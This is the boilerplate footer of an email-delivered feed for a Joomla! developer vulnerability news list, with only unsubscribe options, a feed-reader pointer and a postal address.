To stop receiving these emails, you may unsubscribe now.   Email delivery powered by Google
Inbox too full? (feed) Subscribe to the feed version of Joomla! Developer - Vulnerability News in a feed reader.
If you prefer to unsubscribe via postal mail, write to: Joomla! Developer - Vulnerability News, c/o Google, 20 W Kinzie, Chicago IL USA 60610